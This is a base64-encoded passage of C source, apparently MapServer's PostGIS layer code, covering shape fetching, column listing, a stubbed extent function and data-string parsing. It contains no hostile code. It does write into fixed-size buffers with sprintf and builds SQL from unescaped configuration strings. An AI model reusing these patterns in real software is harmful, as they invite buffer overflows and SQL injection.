aW50ZihxdWVyeV9zdHIsIkRFQ0xBUkUgbXljdXJzb3IgQklOQVJZIENVUlNPUiBGT1IgU0VMRUNU
ICVzIGZyb20gJXMgV0hFUkUgJXMgPSAlbGkiLCBjb2x1bW5zX3dhbnRlZCx0YWJsZV9uYW1lLHVy
aWRfbmFtZSxyZWNvcmQpOwoKCi8vZnByaW50ZihzdGRlcnIsIm1zUE9TVEdJU0xheWVyR2V0U2hh
cGU6ICVzIFxuIixxdWVyeV9zdHIpOwoKICAgIHF1ZXJ5X3Jlc3VsdCA9IFBRZXhlYyhsYXllcmlu
Zm8tPmNvbm4sICJCRUdJTiIpOwogICAgaWYgKCEocXVlcnlfcmVzdWx0KSB8fCBQUXJlc3VsdFN0
YXR1cyhxdWVyeV9yZXN1bHQpICE9IFBHUkVTX0NPTU1BTkRfT0spCiAgICB7CgkgICAgICBtc1Nl
dEVycm9yKE1TX1FVRVJZRVJSLCAiRXJyb3IgZXhlY3V0aW5nIFBPU1RHSVMgIEJFR0lOICAgc3Rh
dGVtZW50LiIsCiAgICAgICAgICAgICAgICAgIm1zUE9TVEdJU0xheWVyR2V0U2hhcGUoKSIpOwoK
ICAgICAgICAJUFFjbGVhcihxdWVyeV9yZXN1bHQpOwoJICAJcXVlcnlfcmVzdWx0ID0gTlVMTDsK
CQlyZXR1cm4oTVNfRkFJTFVSRSk7CiAgICB9CgogICAgcXVlcnlfcmVzdWx0ID0gUFFleGVjKGxh
eWVyaW5mby0+Y29ubiwgInNldCBlbmFibGVfc2Vxc2NhbiA9IG9mZiIpOwogICAgaWYgKCEocXVl
cnlfcmVzdWx0KSB8fCBQUXJlc3VsdFN0YXR1cyhxdWVyeV9yZXN1bHQpICE9IFBHUkVTX0NPTU1B
TkRfT0spCiAgICB7CgkgICAgICBtc1NldEVycm9yKE1TX1FVRVJZRVJSLCAiRXJyb3IgZXhlY3V0
aW5nIFBPU1RHSVMgICdzZXQgZW5hYmxlX3NlcXNjYW4gb2ZmJyAgIHN0YXRlbWVudC4iLAogICAg
ICAgICAgICAgICAgICJtc1BPU1RHSVNMYXllckdldFNoYXBlKCkiKTsKCiAgICAgICAgCVBRY2xl
YXIocXVlcnlfcmVzdWx0KTsKCSAgCXF1ZXJ5X3Jlc3VsdCA9IE5VTEw7CgkJcmV0dXJuKE1TX0ZB
SUxVUkUpOwogICAgfQoKCiAgICBQUWNsZWFyKHF1ZXJ5X3Jlc3VsdCk7CgogICAgcXVlcnlfcmVz
dWx0ID0gUFFleGVjKGxheWVyaW5mby0+Y29ubiwgcXVlcnlfc3RyICk7CgogICAgaWYgKCEocXVl
cnlfcmVzdWx0KSB8fCBQUXJlc3VsdFN0YXR1cyhxdWVyeV9yZXN1bHQpICE9IFBHUkVTX0NPTU1B
TkRfT0spCiAgICB7CgkJY2hhciB0bXBbNDAwMF07CgoJCXNwcmludGYodG1wLCAiRXJyb3IgZXhl
Y3V0aW5nIFBPU1RHSVMgIFNRTCAgIHN0YXRlbWVudCAoaW4gRkVUQ0ggQUxMKTogJXNcbi0lc1xu
PGJyPk1vcmUgSGVscDo8YnI+IiwgcXVlcnlfc3RyLFBRZXJyb3JNZXNzYWdlKGxheWVyaW5mby0+
Y29ubikgKTsKCgogICAgICAgICAgbXNTZXRFcnJvcihNU19RVUVSWUVSUiwKCQkJCSAJREFUQUVS
Uk9STUVTU0FHRSgiIix0bXApLAoJCQkJCSJtc1BPU1RHSVNMYXllckdldFNoYXBlKCkiKTsKCiAg
ICAgICAgCVBRY2xlYXIocXVlcnlfcmVzdWx0KTsKCSAgCXF1ZXJ5X3Jlc3VsdCA9IE5VTEw7CgkJ
cmV0dXJuKE1TX0ZBSUxVUkUpOwoKICAgIH0KICAgIFBRY2xlYXIocXVlcnlfcmVzdWx0KTsKCiAg
ICBxdWVyeV9yZXN1bHQgPSBQUWV4ZWMobGF5ZXJpbmZvLT5jb25uLCAiRkVUQ0ggQUxMIGluIG15
Y3Vyc29yIik7CiAgICBpZiAoIShxdWVyeV9yZXN1bHQpIHx8IFBRcmVzdWx0U3RhdHVzKHF1ZXJ5
X3Jlc3VsdCkgIT0gIFBHUkVTX1RVUExFU19PSykKICAgIHsKCQljaGFyIHRtcFs0MDAwXTsKCgkJ
CXNwcmludGYodG1wLCAiRXJyb3IgZXhlY3V0aW5nIFBPU1RHSVMgIFNRTCAgIHN0YXRlbWVudCAo
aW4gRkVUQ0ggQUxMKTogJXNcbi0lc1xuIiwgcXVlcnlfc3RyLFBRZXJyb3JNZXNzYWdlKGxheWVy
aW5mby0+Y29ubikgKTsKCgogICAgICAgICAgbXNTZXRFcnJvcihNU19RVUVSWUVSUiwKCQkJCSAJ
REFUQUVSUk9STUVTU0FHRSgiIix0bXApLAoJCQkJCSJtc1BPU1RHSVNMYXllckdldFNoYXBlKCki
KTsKICAgICAgICAJUFFjbGVhcihxdWVyeV9yZXN1bHQpOwoJICAJcXVlcnlfcmVzdWx0ID0gTlVM
TDsKCQlyZXR1cm4oTVNfRkFJTFVSRSk7CiAgICB9CgoJCQkvL3F1ZXJ5IGhhcyBiZWVuIGRvbmUs
IHNvIHdlIGNhbiByZXRyZWl2ZSB0aGUgcmVzdWx0cwoKCiAgICAJc2hhcGUtPnR5cGUgPSBNU19T
SEFQRV9OVUxMOwoKCQlpZiAoICAwIDwgUFFudHVwbGVzKHF1ZXJ5X3Jlc3VsdCkgKSAgLy9vbmx5
IG5lZWQgdG8gZ2V0IG9uZSBzaGFwZQoJCXsKCQkJLy9yZXRyZWl2ZSBhbiBpdGVtCgkJCXdrYiA9
IChjaGFyICopIFBRZ2V0dmFsdWUocXVlcnlfcmVzdWx0LCAwLCBsYXllci0+bnVtaXRlbXMpOyAg
Ly8gbGF5ZXItPm51bWl0ZW1zIGlzIHRoZSB3a3QgY29sdW1uCgkJCXN3aXRjaChsYXllci0+dHlw
ZSkKCQkJewoJCQkJY2FzZSBNU19MQVlFUl9QT0lOVDoKCQkJCQlyZXN1bHQgPSBmb3JjZV90b19w
b2ludHMod2tiLCBzaGFwZSk7CgkJCQkJYnJlYWs7CgkJCQljYXNlIE1TX0xBWUVSX0xJTkU6CgkJ
CQkJcmVzdWx0ID0gZm9yY2VfdG9fbGluZXMod2tiLCBzaGFwZSk7CgkJCQkJYnJlYWs7CgkJCQlj
YXNlIE1TX0xBWUVSX1BPTFlHT046CgkJCQkJcmVzdWx0ID0gCWZvcmNlX3RvX3BvbHlnb25zKHdr
Yiwgc2hhcGUpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBNU19MQVlFUl9BTk5PVEFUSU9OOgoJCQkJ
Y2FzZSBNU19MQVlFUl9RVUVSWToKCQkJCQlyZXN1bHQgPSBkb250X2ZvcmNlKHdrYixzaGFwZSk7
CgkJCQkJYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIE1TX0xBWUVSX1JBU1RFUjoKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1zRGVidWcoICJJZ25vcmluZyBNU19M
QVlFUl9SQVNURVIgaW4gbWFwcG9zdGdpcy5jXG4iICk7CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgTVNfTEFZRVJfQ0lS
Q0xFOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXNEZWJ1ZyggIkln
bm9yaW5nIE1TX0xBWUVSX1JBU1RFUiBpbiBtYXBwb3N0Z2lzLmNcbiIgKTsKCgkJCX0KCQkJaWYg
KHNoYXBlLT50eXBlICE9IE1TX1NIQVBFX05VTEwpCgkJCXsKCQkJCS8vaGF2ZSB0byByZXRyZWl2
ZSB0aGUgYXR0cmlidXRlcwoJCQkJc2hhcGUtPnZhbHVlcyA9IChjaGFyICoqKSBtYWxsb2Moc2l6
ZW9mKGNoYXIgKikgKiBsYXllci0+bnVtaXRlbXMpOwoJCQkJZm9yICh0PTA7dDxsYXllci0+bnVt
aXRlbXM7dCsrKQoJCQkJewovL2ZwcmludGYoc3RkZXJyLCJtc1BPU1RHSVNMYXllckdldFNoYXBl
OiBmaW5kaW5nIGF0dHJpYnV0ZSBpbmZvIGZvciAnJXMnXG4iLGxheWVyLT5pdGVtc1t0XSk7CgoK
CQkJCQkgdGVtcDE9IChjaGFyICopIFBRZ2V0dmFsdWUocXVlcnlfcmVzdWx0LCAwLCB0KTsKCQkJ
CQkgc2l6ZSA9IFBRZ2V0bGVuZ3RoKHF1ZXJ5X3Jlc3VsdCwwLCB0ICkgOwoJCQkJCSB0ZW1wMiA9
IChjaGFyICopIG1hbGxvYyhzaXplKzEgKTsKCQkJCQkgbWVtY3B5KHRlbXAyLCB0ZW1wMSwgc2l6
ZSk7CgkJCQkJIHRlbXAyW3NpemVdID0gMDsgLy9udWxsIHRlcm1pbmF0ZSBpdAoKCQkJCQkgc2hh
cGUtPnZhbHVlc1t0XSA9IHRlbXAyOwovL2ZwcmludGYoc3RkZXJyLCJtc1BPU1RHSVNMYXllckdl
dFNoYXBlOiBzaGFwZS0+dmFsdWVzWyVpXSBoYXMgdmFsdWUgJyVzJ1xuIix0LHNoYXBlLT52YWx1
ZXNbdF0pOwoKCQkJCX0KCQkJCXNoYXBlLT5pbmRleCA9IHJlY29yZDsKCQkJCXNoYXBlLT5udW12
YWx1ZXMgPSBsYXllci0+bnVtaXRlbXM7CgoJCQkJZmluZF9ib3VuZHMoc2hhcGUpOwoKCQkJCS8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoJCQkJLy9BZGRlZCBieSBC
b25uaW4gU3RlZmFubwkJLy8KCQkJCS8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLwoJCQkJUFFleGVjKGxheWVyaW5mby0+Y29ubiwgIkNMT1NFIG15Y3Vyc29yIik7CgkJ
CQkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCgkJCQlyZXR1cm4g
KE1TX1NVQ0NFU1MpOwoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCS8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLwoJCQkvL0FkZGVkIGJ5IEJvbm5pbiBTdGVmYW5vCQkvLwoJ
CQkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCQkJUFFleGVjKGxh
eWVyaW5mby0+Y29ubiwgIkNMT1NFIG15Y3Vyc29yIik7CgkJCS8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKCQkJcmV0dXJuIChNU19ET05FKTsKCQl9CgoKCgltc0Zy
ZWVTaGFwZShzaGFwZSk7CgoJcmV0dXJuKE1TX0ZBSUxVUkUpOwoKCn0KCgoKCi8vcXVlcnkgdGhl
IERCIGZvciBpbmZvIGFib3V0IHRoZSByZXF1ZXN0ZWQgdGFibGUKLy8KLy8gQ0hFQVQ6IGRvbnQg
bG9vayBpbiB0aGUgc3lzdGVtIHRhYmxlcywgZ2V0IHF1ZXJ5IG9wdGltaXphdGlvbiBpbmZvbWF0
aW9uCi8vCi8vIGdldCB0aGUgdGFibGUgbmFtZSwgcmV0dXJuIGEgbGlzdCBvZiB0aGUgcG9zc2li
bGUgY29sdW1ucyAoZXhjZXB0IEdFT01FVFJZIGNvbHVtbikKLy8KLy8gZm91bmQgb3V0IHRoaXMg
aXMgY2FsbGVkIGR1cmluZyBhIHF1ZXJ5CgppbnQgbXNQT1NUR0lTTGF5ZXJHZXRJdGVtcyhsYXll
ck9iaiAqbGF5ZXIpCnsKCW1zUE9TVEdJU0xheWVySW5mbwkqbGF5ZXJpbmZvOwoJY2hhcgkJCQl0
YWJsZV9uYW1lWzUwMDBdOwoJY2hhcgkJCQlnZW9tX2NvbHVtbl9uYW1lWzUwMDBdOwoJY2hhcgl1
cmlkX25hbWVbNTAwMF07CgljaGFyIHVzZXJfc3JpZFs1MDAwXTsKCWNoYXIJCQkJc3FsWzYwMDBd
OwoJLy9pbnQJCQkJbml0ZW1zOwoKCglQR3Jlc3VsdCAgICpxdWVyeV9yZXN1bHQ7CglpbnQJCXQ7
CgljaGFyCSpjb2w7CgljaGFyIGZvdW5kX2dlb20gPSAwOwoKCWludCBpdGVtX251bTsKCgovL2Zw
cmludGYoc3RkZXJyLCAiaW4gbXNQT1NUR0lTTGF5ZXJHZXRJdGVtcyAgKGZpbmQgY29sdW1uIG5h
bWVzKVxuIik7CgoJbGF5ZXJpbmZvID0gZ2V0UG9zdEdJU0xheWVySW5mbyggbGF5ZXIpOwoKCWlm
IChsYXllcmluZm8gPT0gTlVMTCkKCXsKCQkvL2xheWVyIG5vdCBvcGVuZWQgeWV0CgkJbXNTZXRF
cnJvcihNU19RVUVSWUVSUiwgIm1zUE9TVEdJU0xheWVyR2V0SXRlbXMgY2FsbGVkIG9uIHVub3Bl
bmVkIGxheWVyIiwKICAgICAgICAgICAgICAgICAibXNQT1NUR0lTTGF5ZXJHZXRJdGVtcygpIik7
CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwoJfQoKCWlmIChsYXllcmluZm8tPmNvbm4gPT0gTlVMTCkK
CXsKICAgICAgICAJbXNTZXRFcnJvcihNU19RVUVSWUVSUiwgIm1zUE9TVEdJU0xheWVyR2V0SXRl
bXMgY2FsbGVkIG9uIFBPU1RHSVMgbGF5ZXIgd2l0aCBubyBjb25uZWN0aW9uIHRvIERCLiIsCiAg
ICAgICAgICAgICAgICAgIm1zUE9TVEdJU0xheWVyR2V0SXRlbXMoKSIpOwoJCXJldHVybihNU19G
QUlMVVJFKTsKCX0KCS8vZ2V0IHRoZSB0YWJsZSBuYW1lIGFuZCBnZW9tZXRyeSBjb2x1bW4gbmFt
ZQoKCW1zUE9TVEdJU0xheWVyUGFyc2VEYXRhKGxheWVyLT5kYXRhLCBnZW9tX2NvbHVtbl9uYW1l
LCB0YWJsZV9uYW1lLCB1cmlkX25hbWUsIHVzZXJfc3JpZCk7CgoJLy8gdHdvIGNhc2VzIGhlcmUu
ICBPbmUsIGl0cyBhIHRhYmxlICh1c2Ugc2VsZWN0ICogZnJvbSB0YWJsZSkgb3RoZXJ3aXNlLCBq
dXN0IHVzZSB0aGUgc2VsZWN0IGNsYXVzZQoJc3ByaW50ZihzcWwsIlNFTEVDVCAqIEZST00gJXMg
TElNSVQgMCIsdGFibGVfbmFtZSk7IC8vIGF0dGVtcHQgdGhlIHF1ZXJ5LCBidXQgZG9udCBhY3R1
YWxseSBkbyBtdWNoICh0aGlzIG1pZ2h0IHRha2Ugc29tZSB0aW1lIGlmIHRoZXJlIGlzIGFuIG9y
ZGVyIGJ5ISkKCQoJcXVlcnlfcmVzdWx0ID0gUFFleGVjKGxheWVyaW5mby0+Y29ubiwgc3FsICk7
CiAgICBpZiAoIShxdWVyeV9yZXN1bHQpIHx8IFBRcmVzdWx0U3RhdHVzKHF1ZXJ5X3Jlc3VsdCkg
IT0gUEdSRVNfVFVQTEVTX09LKQogICAgewoJCWNoYXIgdG1wWzQwMDBdOwoKCQkJCXNwcmludGYo
dG1wLCAiRXJyb3IgZXhlY3V0aW5nIFBPU1RHSVMgIFNRTCAgIHN0YXRlbWVudCAoaW4gbXNQT1NU
R0lTTGF5ZXJHZXRJdGVtcyk6ICVzXG4tJXNcbiIsIHNxbCxQUWVycm9yTWVzc2FnZShsYXllcmlu
Zm8tPmNvbm4pICk7CgoKICAgICAgICAgIG1zU2V0RXJyb3IoTVNfUVVFUllFUlIsCgkJCQkgCURB
VEFFUlJPUk1FU1NBR0UoIiIsdG1wKSwKCQkJCQkibXNQT1NUR0lTTGF5ZXJHZXRJdGVtcygpIik7
CgogICAgICAgIFBRY2xlYXIocXVlcnlfcmVzdWx0KTsKCSAgCXF1ZXJ5X3Jlc3VsdCA9IE5VTEw7
CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwogICAgfQoKCWxheWVyLT5udW1pdGVtcyA9IFBRbmZpZWxk
cyhxdWVyeV9yZXN1bHQpLTE7IC8vZG9udCBpbmNsdWRlIHRoZSBnZW9tZXRyeSBjb2x1bW4KCWxh
eWVyLT5pdGVtcyA9IG1hbGxvYyAoc2l6ZW9mKGNoYXIgKikgKiAobGF5ZXItPm51bWl0ZW1zKzEp
ICk7IC8vICsxIGluY2FzZSB0aGVyZSBpcyBhIHByb2JsZW0gZmluZGluZyBnb2VvbWV0cnkgY29s
dW1uIAoJCQkJCQkJCQkJCQkJCQkJLy8gaXQgd2lsbCByZXR1cm4gYW4gZXJyb3IgaWYgdGhlcmUg
aXMgbm8gZ2VvbWV0cnkgY29sdW1uIGZvdW5kLAoJCQkJCQkJCQkJCQkJCQkJLy8gc28gdGhpcyBp
c250IGEgcHJvYmxlbQoJCgkJZm91bmRfZ2VvbSA9IDA7IC8vaGF2ZW50IGZvdW5kIHRoZSBnZW9t
IGZpZWxkCgkJaXRlbV9udW0gPSAwOwoJZm9yICh0PTA7dDxQUW5maWVsZHMocXVlcnlfcmVzdWx0
KTt0KyspCgl7CgkJY29sID0gUFFmbmFtZShxdWVyeV9yZXN1bHQsdCk7CgkJaWYgKHN0cmNtcChj
b2wsIGdlb21fY29sdW1uX25hbWUpICE9IDApIC8vIHRoaXMgaXNudCB0aGUgZ2VvbWV0cnkgY29s
dW1uCgkJewoJCQlsYXllci0+aXRlbXNbaXRlbV9udW1dID0gKGNoYXIqKW1hbGxvYyhzdHJsZW4o
Y29sKSsxKTsKCQkJc3RyY3B5KGxheWVyLT5pdGVtc1tpdGVtX251bV0sIGNvbCk7CgkJCWl0ZW1f
bnVtKys7CgkJfQoJCWVsc2UKCQl7CgkJCWZvdW5kX2dlb20gPSAxOwoJCX0KCX0KCVBRY2xlYXIo
cXVlcnlfcmVzdWx0KTsKCXF1ZXJ5X3Jlc3VsdCA9IE5VTEw7CglpZiAoIShmb3VuZF9nZW9tKSkK
CXsKCQljaGFyIHRtcFs0MDAwXTsKCgkJc3ByaW50Zih0bXAsICJtc1BPU1RHSVNMYXllckdldEl0
ZW1zOiB0cmllZCB0byBmaW5kIHRoZSBnZW9tZXRyeSBjb2x1bW4gaW4gdGhlIHJlc3VsdHMgZnJv
bSB0aGUgZGF0YWJhc2UsIGJ1dCBjb3VsZG50IGZpbmQgaXQuICBJcyBpdCBtaXNzLWNhcGl0aWFs
aXplZD8gJyVzJyIsIGdlb21fY29sdW1uX25hbWUgKTsKCgogICAgICAgICAgbXNTZXRFcnJvcihN
U19RVUVSWUVSUiwKCQkJCSAJdG1wLAoJCQkJCSJtc1BPU1RHSVNMYXllckdldEl0ZW1zKCkiKTsK
CiAgICAgICAgUFFjbGVhcihxdWVyeV9yZXN1bHQpOwoJICAJcXVlcnlfcmVzdWx0ID0gTlVMTDsK
CQlyZXR1cm4oTVNfRkFJTFVSRSk7Cgl9CgoKCglyZXR1cm4gbXNQT1NUR0lTTGF5ZXJJbml0SXRl
bUluZm8obGF5ZXIpOwp9CgoKLy93ZSByZXR1cm4gYW4gaW5maW5pdGUgZXh0ZW50Ci8vIHdlIGNv
dWxkIGNhbGwgdGhlIFNRTCBBR0dSRUdBVEUgZXh0ZW50KEdFT01FVFJZKSwgYnV0IHRoYXQgd291
bGQgdGFrZSBGT1JFVkVSCi8vIHRvIHJldHVybiAoaXQgaGFzIHRvIHJlYWQgdGhlIGVudGlyZSB0
YWJsZSkuCi8vIFNvLCB3ZSBqdXN0IHRlbGwgaXQgdGhhdCB3ZSdyZSBldmVyeXdoZXJlIGFuZCBs
ZXRzIHRoZSBzcGF0aWFsIGluZGV4aW5nIGZpZ3VyZSB0aGluZ3Mgb3V0IGZvciB1cwovLwovLyBO
ZXZlciBzZWVuIHRoaXMgZnVuY3Rpb24gYWN0dWFsbHkgY2FsbGVkCmludCBtc1BPU1RHSVNMYXll
ckdldEV4dGVudChsYXllck9iaiAqbGF5ZXIsIHJlY3RPYmogKmV4dGVudCkKewovL2ZwcmludGYo
c3RkZXJyLCJtc1BPU1RHSVNMYXllckdldEV4dGVudCBjYWxsZWRcbiIpOwoKCgoKCgoJZXh0ZW50
LT5taW54ID0gZXh0ZW50LT5taW55ID0gIC0xLjAqRkxUX01BWCA7CglleHRlbnQtPm1heHggPSBl
eHRlbnQtPm1heHkgPSAgRkxUX01BWDsKCglyZXR1cm4oTVNfU1VDQ0VTUyk7CgoKCQkvL3RoaXMg
c2hvdWxkIGdldCB0aGUgcmVhbCBleHRlbnRzLGJ1dCBpdCByZXF1aXJlcyBhIHRhYmxlIHJlYWQK
CQkvLyB1bmZvcnVuYXRlbHksIHRoZXJlIGlzIG5vIHdheSB0byBjYWxsIHRoaXMgZnVuY3Rpb24g
ZnJvbSBtYXBzY3JpcHQsIHNvIGl0cwoJCS8vIHByZXR0eSB1c2VsZXNzLiAgVW50ZXN0ZWQgc2lu
Y2UgeW91IGNhbm5vdCBhY3R1YWxseSBjYWxsIGl0LgoKLyoKClBHcmVzdWx0ICAgKnF1ZXJ5X3Jl
c3VsdDsKCWNoYXIJCXNxbFs1MDAwXTsKCgltc1BPU1RHSVNMYXllckluZm8gKmxheWVyaW5mbzsK
CiAgIGNoYXIgICAgdGFibGVfbmFtZVs1MDAwXTsKICAgICAgY2hhciAgICBnZW9tX2NvbHVtbl9u
YW1lWzUwMDBdOwogICAgICBjaGFyICAgIHVyaWRfbmFtZVs1MDAwXTsKICAgIGNoYXIgICAgdXNl
cl9zcmlkWzUwMDBdOwoJaWYgKGxheWVyID09IE5VTEwpCgl7CgkJCQljaGFyIHRtcFs1MDAwXTsK
CgkJCQlzcHJpbnRmKHRtcCwgImxheWVyIGlzIG51bGwgLSBoYXZlIHlvdSBvcGVuZWQgdGhlIGxh
eWVyIHlldD8iKTsKCQkgICAgICAgIAltc1NldEVycm9yKE1TX1FVRVJZRVJSLCB0bXAsCgkJICAg
ICAgICAgICAgICAgICAibXNQT1NUR0lTTGF5ZXJHZXRFeHRlbnQoKSIpOwoKCQlyZXR1cm4oTVNf
RkFJTFVSRSk7Cgl9CgoKCiAgbGF5ZXJpbmZvID0gKG1zUE9TVEdJU0xheWVySW5mbyAqKSBsYXll
ci0+cG9zdGdpc2xheWVyaW5mbzsKCiAgIG1zUE9TVEdJU0xheWVyUGFyc2VEYXRhKGxheWVyLT5k
YXRhLCBnZW9tX2NvbHVtbl9uYW1lLHRhYmxlX25hbWUsIHVyaWRfbmFtZSx1c2VyX3NyaWQpOwoK
ICAgc3ByaW50ZihzcWwsInNlbGVjdCBleHRlbnQoJXMpIGZyb20gJXMiLCBnZW9tX2NvbHVtbl9u
YW1lLHRhYmxlX25hbWUpOwoKCglpZiAobGF5ZXJpbmZvLT5jb25uID09IE5VTEwpCgl7CgkJCQlj
aGFyIHRtcFs1MDAwXTsKCgkJCQlzcHJpbnRmKHRtcCwgImxheWVyIGRvZXNudCBoYXZlIGEgcG9z
dGdpcyBjb25uZWN0aW9uIC0gaGF2ZSB5b3Ugb3BlbmVkIHRoZSBsYXllciB5ZXQ/Iik7CgkJICAg
ICAgICAJbXNTZXRFcnJvcihNU19RVUVSWUVSUiwgdG1wLAoJCSAgICAgICAgICAgICAgICAgIm1z
UE9TVEdJU0xheWVyR2V0RXh0ZW50KCkiKTsKCgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwoJfQoKCgog
IAlxdWVyeV9yZXN1bHQgPSBQUWV4ZWMobGF5ZXJpbmZvLT5jb25uLCBzcWwpOwogICAgaWYgKCEo
cXVlcnlfcmVzdWx0KSB8fCBQUXJlc3VsdFN0YXR1cyhxdWVyeV9yZXN1bHQpICE9ICBQR1JFU19U
VVBMRVNfT0spCiAgICB7CgkJY2hhciB0bXBbNTAwMF07CgoJCXNwcmludGYodG1wLCAiRXJyb3Ig
ZXhlY3V0aW5nIFBPU1RHSVMgIFNRTCAgIHN0YXRlbWVudCAoaW4gbXNQT1NUR0lTTGF5ZXJHZXRF
eHRlbnQpOiAlcyIsIGxheWVyaW5mby0+c3FsKTsKICAgICAgICAJbXNTZXRFcnJvcihNU19RVUVS
WUVSUiwgdG1wLAogICAgICAgICAgICAgICAgICJtc1BPU1RHSVNMYXllckdldEV4dGVudCgpIik7
CgogICAgICAgIAlQUWNsZWFyKHF1ZXJ5X3Jlc3VsdCk7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwog
ICAgfQoKCWlmIChQUW50dXBsZXMocXVlcnlfcmVzdWx0KSAhPSAxKQoJewoJCQkJY2hhciB0bXBb
NTAwMF07CgoJCQkJc3ByaW50Zih0bXAsICJFcnJvciBleGVjdXRpbmcgUE9TVEdJUyAgU1FMICAg
c3RhdGVtZW50IChpbiBtc1BPU1RHSVNMYXllckdldEV4dGVudCkgW2RvZXNudCBoYXZlIGV4YWN0
bHkgMSByZXN1bHRdOiAlcyIsIGxheWVyaW5mby0+c3FsKTsKCQkgICAgICAgIAltc1NldEVycm9y
KE1TX1FVRVJZRVJSLCB0bXAsCgkJICAgICAgICAgICAgICAgICAibXNQT1NUR0lTTGF5ZXJHZXRF
eHRlbnQoKSIpOwoKCQkgICAgICAgIAlQUWNsZWFyKHF1ZXJ5X3Jlc3VsdCk7CgkJcmV0dXJuKE1T
X0ZBSUxVUkUpOwoJfQoKCXNzY2FuZihQUWdldHZhbHVlKHF1ZXJ5X3Jlc3VsdCwwLDApLCIlbGYg
JWxmICVsZiAlbGYiLCAmZXh0ZW50LT5taW54LCZleHRlbnQtPm1pbnksJmV4dGVudC0+bWF4eCwm
ZXh0ZW50LT5tYXh5ICk7CgoJUFFjbGVhcihxdWVyeV9yZXN1bHQpOwoJKi8KCn0KCi8qIEZ1bmN0
aW9uIHRvIHBhcnNlIHRoZSBNYXBzZXJ2ZXIgREFUQSBwYXJhbWV0ZXIgZm9yIGdlb21ldHJ5CiAq
IGNvbHVtbiBuYW1lLCB0YWJsZSBuYW1lIGFuZCBuYW1lIG9mIGEgY29sdW1uIHRvIHNlcnZlIGFz
IGEKICogdW5pcXVlIHJlY29yZCBpZAogKi8KCmludCBtc1BPU1RHSVNMYXllclBhcnNlRGF0YShj
aGFyICpkYXRhLCBjaGFyICpnZW9tX2NvbHVtbl9uYW1lLAoJY2hhciAqdGFibGVfbmFtZSwgY2hh
ciAqdXJpZF9uYW1lLGNoYXIgKnVzZXJfc3JpZCkKewoJY2hhciAqcG9zX29wdCwgKnBvc19zY24s
ICp0bXAsICpwb3Nfc3JpZDsKCWludCAJc2xlbmd0aDsKCgoKCgoJLyogZ2l2ZW4gYSBzdHJpbmcg
b2YgdGhlIGZyb20gJ2dlb20gZnJvbSBjdGl2YWx1ZXMnIG9yICdnZW9tIGZyb20gKCkgYXMgZm9v
JwoJICogcmV0dXJuIGdlb21fY29sdW1uX25hbWUgYXMgJ2dlb20nCgkgKiBhbmQgdGFibGUgbmFt
ZSBhcyAnY3RpdmFsdWVzJyBvciAnZ2VvbSBmcm9tICgpIGFzIGZvbycKCSAqLwoKCS8qIEZpcnN0
IGxvb2sgZm9yIHRoZSBvcHRpb25hbCAnIHVzaW5nIHVuaXF1ZSBJRCcgc3RyaW5nICovCglwb3Nf
b3B0ID0gc3Ryc3RySWdub3JlQ2FzZShkYXRhLCAiIHVzaW5nIHVuaXF1ZSAiKTsKCWlmIChwb3Nf
b3B0ID09IE5VTEwpIHsKCQkvKiBObyB1c2VyIHNwZWNpZmllZCB1bmlxdWUgaWQgc28gd2Ugd2ls
bCB1c2UgdGhlIFBvc3RnZXNxbCBPSUQgKi8KCQlzdHJjcHkodXJpZF9uYW1lLCAiT0lEIik7Cgl9
CgllbHNlIHsKCQkvLyBDSEFOR0UgLSBwcm90ZWN0IHRoZSB0cmFpbGluZyBlZGdlIGZvciB0aGlu
ZyBsaWtlICd1c2luZyB1bmlxdWUgZnRhYl9pZCB1c2luZyBzcmlkPTMzJwoJCXRtcCA9IHN0cnN0
cihwb3Nfb3B0ICsgMTQsIiAiKTsKCQlpZiAodG1wID09IE5VTEwpIC8vaXQgbG9va2VzIGxpa2Ug
J3VzaW5nIHVuaXF1ZSBmdGFiX2lkJwoJCXsKCQkJc3RyY3B5KHVyaWRfbmFtZSwgcG9zX29wdCAr
IDE0KTsKCQl9CgkJZWxzZQoJCXsKCQkJLy9sb29rcyBsaWtlICcgdXNpbmcgdW5pcXVlIGZ0YWJf
aWQgJyAoc3BhY2UgYXQgZW5kKQoJCQlzdHJuY3B5KHVyaWRfbmFtZSwgcG9zX29wdCArIDE0LCB0
bXAtKHBvc19vcHQgKyAxNCAgKSApOwoJCQl1cmlkX25hbWVbdG1wLShwb3Nfb3B0ICsgMTQpXSA9
IDA7IC8vIG51bGwgdGVybWluYXRlIGl0CgkJfQoKCX0KCglwb3Nfc3JpZCA9IHN0cnN0cklnbm9y
ZUNhc2UoZGF0YSwiIHVzaW5nIFNSSUQ9Iik7CglpZiAocG9zX3NyaWQgPT0gTlVMTCkKCXsKCQl1
c2VyX3NyaWRbMF0gPSAwOyAvLyA9ICIiCgl9CgllbHNlCgl7CgkJLy9maW5kIHRoZSBzcmlkCgkJ
c2xlbmd0aD1zdHJzcG4ocG9zX3NyaWQrMTIsIi0wMTIzNDU2Nzg5Iik7CgkJaWYgKHNsZW5ndGgg
PT0gMCkKCQl7CgkJCW1zU2V0RXJyb3IoTVNfUVVFUllFUlIsCgkJCQkJREFUQUVSUk9STUVTU0FH
RShkYXRhLCJFcnJvciBwYXJzaW5nIFBPU1RHSVMgZGF0YSB2YXJpYWJsZTogWW91IHNwZWNpZmll
